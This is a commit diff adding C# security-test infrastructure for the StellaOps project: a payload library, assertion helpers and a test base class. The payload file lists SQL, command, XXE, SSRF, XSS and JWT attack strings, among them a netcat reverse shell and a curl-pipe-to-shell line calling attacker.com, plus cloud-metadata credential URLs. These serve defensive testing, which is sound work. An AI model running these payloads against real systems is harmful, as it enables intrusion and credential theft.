Add comprehensive security tests for OWASP A03 (Injection) and A10 (SSRF)
- Implemented InjectionTests.cs to cover various injection vulnerabilities including SQL, NoSQL, Command, LDAP, and XPath injections. - Created SsrfTests.cs to test for Server-Side Request Forgery (SSRF) vulnerabilities, including internal URL access, cloud metadata access, and URL allowlist bypass attempts. - Introduced MaliciousPayloads.cs to store a collection of malicious payloads for testing various security vulnerabilities. - Added SecurityAssertions.cs for common security-specific assertion helpers. - Established SecurityTestBase.cs as a base class for security tests, providing common infrastructure and mocking utilities. - Configured the test project StellaOps.Security.Tests.csproj with necessary dependencies for testing.
This commit is contained in:
@@ -0,0 +1,248 @@
|
||||
// =============================================================================
|
||||
// MaliciousPayloads.cs
|
||||
// Collection of malicious payloads for security testing
|
||||
// Reference: OWASP Testing Guide, PayloadsAllTheThings
|
||||
// =============================================================================
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Malicious payloads for testing input validation and injection vulnerabilities.
|
||||
/// Organized by attack category for use in security tests.
|
||||
/// </summary>
|
||||
public static class MaliciousPayloads
|
||||
{
|
||||
/// <summary>
|
||||
/// SQL injection payloads for testing database query handling.
|
||||
/// </summary>
|
||||
public static class SqlInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"' OR '1'='1",
|
||||
"'; DROP TABLE users; --",
|
||||
"1' OR '1'='1' /*",
|
||||
"admin'--",
|
||||
"1; SELECT * FROM users",
|
||||
"' UNION SELECT * FROM users --",
|
||||
"1' AND '1'='1",
|
||||
"'; WAITFOR DELAY '0:0:5' --",
|
||||
"' OR 1=1 --",
|
||||
"'; EXEC xp_cmdshell('whoami'); --"
|
||||
];
|
||||
|
||||
public static readonly string[] Blind =
|
||||
[
|
||||
"1' AND SLEEP(5) --",
|
||||
"1' AND (SELECT COUNT(*) FROM users) > 0 --",
|
||||
"' OR IF(1=1, SLEEP(5), 0) --",
|
||||
"1; IF(1=1) WAITFOR DELAY '0:0:5' --"
|
||||
];
|
||||
|
||||
public static readonly string[] NoSql =
|
||||
[
|
||||
"{ \"$gt\": \"\" }",
|
||||
"{ \"$where\": \"this.password.length > 0\" }",
|
||||
"{ \"$regex\": \".*\" }",
|
||||
"'; return true; var x='",
|
||||
"{ \"$ne\": null }"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Command injection payloads for testing shell command handling.
|
||||
/// </summary>
|
||||
public static class CommandInjection
|
||||
{
|
||||
public static readonly string[] Unix =
|
||||
[
|
||||
"; cat /etc/passwd",
|
||||
"| ls -la",
|
||||
"`whoami`",
|
||||
"$(id)",
|
||||
"; nc -e /bin/sh attacker.com 4444",
|
||||
"& ping -c 5 attacker.com",
|
||||
"|| touch /tmp/pwned",
|
||||
"; curl http://attacker.com/shell.sh | sh"
|
||||
];
|
||||
|
||||
public static readonly string[] Windows =
|
||||
[
|
||||
"& dir",
|
||||
"| type C:\\Windows\\System32\\config\\SAM",
|
||||
"; net user",
|
||||
"& whoami",
|
||||
"| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"",
|
||||
"; cmd /c dir"
|
||||
];
|
||||
|
||||
public static readonly string[] Generic =
|
||||
[
|
||||
";",
|
||||
"|",
|
||||
"&",
|
||||
"&&",
|
||||
"||",
|
||||
"\n",
|
||||
"\r\n",
|
||||
"`",
|
||||
"$(",
|
||||
"#{",
|
||||
"%0a"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Path traversal payloads for testing file system access.
|
||||
/// </summary>
|
||||
public static class PathTraversal
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\Windows\\System32\\config\\SAM",
|
||||
"....//....//....//etc/passwd",
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
|
||||
"..%252f..%252f..%252fetc/passwd",
|
||||
"/etc/passwd%00.jpg",
|
||||
"....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts"
|
||||
];
|
||||
|
||||
public static readonly string[] Null =
|
||||
[
|
||||
"../../../etc/passwd%00",
|
||||
"..\\..\\..\\boot.ini%00",
|
||||
"%00../../../etc/passwd"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// XSS payloads for testing cross-site scripting vulnerabilities.
|
||||
/// </summary>
|
||||
public static class Xss
|
||||
{
|
||||
public static readonly string[] Script =
|
||||
[
|
||||
"<script>alert('XSS')</script>",
|
||||
"<img src=x onerror=alert('XSS')>",
|
||||
"<svg/onload=alert('XSS')>",
|
||||
"javascript:alert('XSS')",
|
||||
"<body onload=alert('XSS')>",
|
||||
"<iframe src=\"javascript:alert('XSS')\">",
|
||||
"'><script>alert('XSS')</script>",
|
||||
"\"><script>alert('XSS')</script>"
|
||||
];
|
||||
|
||||
public static readonly string[] Encoded =
|
||||
[
|
||||
"%3Cscript%3Ealert('XSS')%3C/script%3E",
|
||||
"<script>alert('XSS')</script>",
|
||||
"\\u003cscript\\u003ealert('XSS')\\u003c/script\\u003e"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// SSRF payloads for testing server-side request forgery.
|
||||
/// </summary>
|
||||
public static class Ssrf
|
||||
{
|
||||
public static readonly string[] InternalUrls =
|
||||
[
|
||||
"http://127.0.0.1",
|
||||
"http://localhost",
|
||||
"http://0.0.0.0",
|
||||
"http://[::1]",
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://metadata.google.internal/",
|
||||
"http://192.168.1.1",
|
||||
"http://10.0.0.1",
|
||||
"file:///etc/passwd"
|
||||
];
|
||||
|
||||
public static readonly string[] Bypass =
|
||||
[
|
||||
"http://127.0.0.1.nip.io",
|
||||
"http://0x7f000001",
|
||||
"http://2130706433",
|
||||
"http://0177.0.0.1",
|
||||
"http://127.1",
|
||||
"http://spoofed.burpcollaborator.net"
|
||||
];
|
||||
|
||||
public static readonly string[] CloudMetadata =
|
||||
[
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Header injection payloads for testing HTTP header handling.
|
||||
/// </summary>
|
||||
public static class HeaderInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"value\r\nX-Injected: header",
|
||||
"value%0d%0aX-Injected: header",
|
||||
"value\nSet-Cookie: malicious=true",
|
||||
"value\r\n\r\n<html>injected</html>"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// LDAP injection payloads for testing LDAP query handling.
|
||||
/// </summary>
|
||||
public static class LdapInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"*",
|
||||
"*)(&",
|
||||
"*)(uid=*))(|(uid=*",
|
||||
"admin)(&)",
|
||||
"x)(|(cn=*)"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// XML injection payloads (XXE) for testing XML parsing.
|
||||
/// </summary>
|
||||
public static class XxeInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/\">]><foo>&xxe;</foo>",
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/xxe.dtd\">%xxe;]>"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Template injection payloads for testing template engines.
|
||||
/// </summary>
|
||||
public static class TemplateInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"{{7*7}}",
|
||||
"${7*7}",
|
||||
"<%= 7*7 %>",
|
||||
"#{7*7}",
|
||||
"*{7*7}",
|
||||
"@(7*7)",
|
||||
"{{constructor.constructor('return this')()}}"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// JWT-related attack payloads for testing token handling.
|
||||
/// </summary>
|
||||
public static class JwtAttacks
|
||||
{
|
||||
public const string NoneAlgorithm = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
|
||||
public const string EmptySignature = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
|
||||
public const string AlgorithmConfusion = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"; // Would need key confusion attack
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
// =============================================================================
|
||||
// SecurityAssertions.cs
|
||||
// Security-specific assertion helpers for testing
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using System.Net;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Security-specific assertion methods for common security test patterns.
|
||||
/// </summary>
|
||||
public static partial class SecurityAssertions
|
||||
{
|
||||
/// <summary>
|
||||
/// Assert that a URL is safe (not an internal/metadata endpoint).
|
||||
/// </summary>
|
||||
public static void AssertUrlIsSafe(string url)
|
||||
{
|
||||
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
|
||||
|
||||
if (!uri.IsAbsoluteUri) return;
|
||||
|
||||
// Check for localhost/loopback
|
||||
uri.Host.Should().NotBe("localhost", "URL should not point to localhost");
|
||||
uri.Host.Should().NotBe("127.0.0.1", "URL should not point to loopback");
|
||||
uri.Host.Should().NotBe("::1", "URL should not point to IPv6 loopback");
|
||||
uri.Host.Should().NotBe("0.0.0.0", "URL should not point to all interfaces");
|
||||
|
||||
// Check for metadata endpoints
|
||||
uri.Host.Should().NotBe("169.254.169.254", "URL should not point to cloud metadata");
|
||||
uri.Host.Should().NotContain("metadata.google.internal", "URL should not point to GCP metadata");
|
||||
|
||||
// Check for private IP ranges
|
||||
if (IPAddress.TryParse(uri.Host, out var ip))
|
||||
{
|
||||
IsPrivateIp(ip).Should().BeFalse("URL should not point to private IP addresses");
|
||||
}
|
||||
|
||||
// Check for file:// scheme
|
||||
uri.Scheme.Should().NotBe("file", "URL should not use file:// scheme");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a path does not contain traversal sequences.
|
||||
/// </summary>
|
||||
public static void AssertNoPathTraversal(string path)
|
||||
{
|
||||
path.Should().NotContain("..", "Path should not contain traversal sequences");
|
||||
path.Should().NotContain("%2e%2e", "Path should not contain encoded traversal");
|
||||
path.Should().NotContain("%252e", "Path should not contain double-encoded traversal");
|
||||
path.Should().NotContain("\0", "Path should not contain null bytes");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that content is properly escaped for HTML context.
|
||||
/// </summary>
|
||||
public static void AssertHtmlEscaped(string content, string originalInput)
|
||||
{
|
||||
if (originalInput.Contains('<'))
|
||||
{
|
||||
content.Should().NotContain("<script", "Content should have escaped script tags");
|
||||
content.Should().NotContain("<img", "Content should have escaped img tags");
|
||||
content.Should().NotContain("<svg", "Content should have escaped svg tags");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a command string is safe from injection.
|
||||
/// </summary>
|
||||
public static void AssertCommandSafe(string command)
|
||||
{
|
||||
var dangerousChars = new[] { ";", "|", "&", "`", "$(" };
|
||||
foreach (var c in dangerousChars)
|
||||
{
|
||||
command.Should().NotContain(c, $"Command should not contain dangerous character: {c}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an HTTP response indicates proper authorization failure.
|
||||
/// </summary>
|
||||
public static void AssertProperAuthorizationDenial(HttpStatusCode statusCode)
|
||||
{
|
||||
statusCode.Should().BeOneOf(
|
||||
HttpStatusCode.Unauthorized,
|
||||
HttpStatusCode.Forbidden,
|
||||
"Response should properly deny unauthorized access");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that no SQL injection was successful (result should not contain injected data).
|
||||
/// </summary>
|
||||
public static void AssertNoSqlInjectionSuccess(string response)
|
||||
{
|
||||
// Check for common signs that injection succeeded
|
||||
response.Should().NotMatchRegex(SqlPatternSuccess(),
|
||||
"Response should not indicate successful SQL injection");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that cryptographic parameters meet minimum strength requirements.
|
||||
/// </summary>
|
||||
public static void AssertCryptographicStrength(int keyBits, string algorithm)
|
||||
{
|
||||
algorithm.ToUpperInvariant().Should().NotBe("MD5", "MD5 should not be used for security");
|
||||
algorithm.ToUpperInvariant().Should().NotBe("SHA1", "SHA1 should not be used for security");
|
||||
|
||||
if (algorithm.Contains("RSA", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
keyBits.Should().BeGreaterOrEqualTo(2048, "RSA keys should be at least 2048 bits");
|
||||
}
|
||||
else if (algorithm.Contains("AES", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
keyBits.Should().BeGreaterOrEqualTo(128, "AES keys should be at least 128 bits");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a JWT token has proper structure and is not tampered with.
|
||||
/// </summary>
|
||||
public static void AssertJwtNotTampered(string token)
|
||||
{
|
||||
var parts = token.Split('.');
|
||||
parts.Length.Should().Be(3, "JWT should have three parts");
|
||||
parts[2].Should().NotBeEmpty("JWT signature should not be empty");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that headers do not contain injected values.
|
||||
/// </summary>
|
||||
public static void AssertNoHeaderInjection(IDictionary<string, string> headers)
|
||||
{
|
||||
foreach (var header in headers)
|
||||
{
|
||||
header.Key.Should().NotContain("\r", "Header name should not contain CR");
|
||||
header.Key.Should().NotContain("\n", "Header name should not contain LF");
|
||||
header.Value.Should().NotContain("\r\n", "Header value should not contain CRLF");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if an IP address is in a private range.
|
||||
/// </summary>
|
||||
private static bool IsPrivateIp(IPAddress ip)
|
||||
{
|
||||
var bytes = ip.GetAddressBytes();
|
||||
|
||||
// IPv4 private ranges
|
||||
if (bytes.Length == 4)
|
||||
{
|
||||
// 10.0.0.0/8
|
||||
if (bytes[0] == 10) return true;
|
||||
// 172.16.0.0/12
|
||||
if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return true;
|
||||
// 192.168.0.0/16
|
||||
if (bytes[0] == 192 && bytes[1] == 168) return true;
|
||||
// 127.0.0.0/8 (loopback)
|
||||
if (bytes[0] == 127) return true;
|
||||
// 169.254.0.0/16 (link-local)
|
||||
if (bytes[0] == 169 && bytes[1] == 254) return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
[GeneratedRegex(@"(syntax error|mysql|postgresql|sqlite|ora-\d{5}|sql server)", RegexOptions.IgnoreCase)]
|
||||
private static partial Regex SqlPatternSuccess();
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
// =============================================================================
|
||||
// SecurityTestBase.cs
|
||||
// Base class for all security tests providing common infrastructure
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using Microsoft.Extensions.Logging;
|
||||
using Moq;
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Base class for OWASP-category security tests.
|
||||
/// Provides common test infrastructure, mocking utilities, and security assertions.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
public abstract class SecurityTestBase : IDisposable
|
||||
{
|
||||
protected readonly Mock<ILogger> LoggerMock;
|
||||
protected readonly CancellationToken TestCancellation;
|
||||
private readonly CancellationTokenSource _cts;
|
||||
|
||||
protected SecurityTestBase()
|
||||
{
|
||||
LoggerMock = new Mock<ILogger>();
|
||||
_cts = new CancellationTokenSource(TimeSpan.FromSeconds(30));
|
||||
TestCancellation = _cts.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an action throws a security-related exception.
|
||||
/// </summary>
|
||||
protected static void AssertSecurityException<TException>(Action action, string? expectedMessage = null)
|
||||
where TException : Exception
|
||||
{
|
||||
var exception = Assert.Throws<TException>(action);
|
||||
if (expectedMessage != null)
|
||||
{
|
||||
exception.Message.Should().Contain(expectedMessage);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an async action throws a security-related exception.
|
||||
/// </summary>
|
||||
protected static async Task AssertSecurityExceptionAsync<TException>(Func<Task> action, string? expectedMessage = null)
|
||||
where TException : Exception
|
||||
{
|
||||
var exception = await Assert.ThrowsAsync<TException>(action);
|
||||
if (expectedMessage != null)
|
||||
{
|
||||
exception.Message.Should().Contain(expectedMessage);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that the logger was called with a security warning.
|
||||
/// </summary>
|
||||
protected void AssertSecurityWarningLogged(string expectedMessage)
|
||||
{
|
||||
LoggerMock.Verify(
|
||||
x => x.Log(
|
||||
LogLevel.Warning,
|
||||
It.IsAny<EventId>(),
|
||||
It.Is<It.IsAnyType>((v, t) => v.ToString()!.Contains(expectedMessage)),
|
||||
It.IsAny<Exception?>(),
|
||||
It.IsAny<Func<It.IsAnyType, Exception?, string>>()),
|
||||
Times.AtLeastOnce);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that no sensitive data is present in the response.
|
||||
/// </summary>
|
||||
protected static void AssertNoSensitiveDataLeakage(string content)
|
||||
{
|
||||
var sensitivePatterns = new[]
|
||||
{
|
||||
"password",
|
||||
"secret",
|
||||
"api_key",
|
||||
"apikey",
|
||||
"private_key",
|
||||
"token",
|
||||
"bearer",
|
||||
"authorization"
|
||||
};
|
||||
|
||||
foreach (var pattern in sensitivePatterns)
|
||||
{
|
||||
// Case-insensitive check for sensitive patterns in unexpected places
|
||||
content.ToLowerInvariant().Should().NotContain(pattern,
|
||||
$"Response should not contain sensitive data pattern: {pattern}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random tenant ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestTenantId() => Guid.NewGuid();
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random user ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestUserId() => Guid.NewGuid();
|
||||
|
||||
public virtual void Dispose()
|
||||
{
|
||||
_cts.Cancel();
|
||||
_cts.Dispose();
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Trait for categorizing tests by OWASP category.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]
|
||||
public class OwaspCategoryAttribute : Attribute
|
||||
{
|
||||
public string Category { get; }
|
||||
public string Description { get; }
|
||||
|
||||
public OwaspCategoryAttribute(string category, string description)
|
||||
{
|
||||
Category = category;
|
||||
Description = description;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user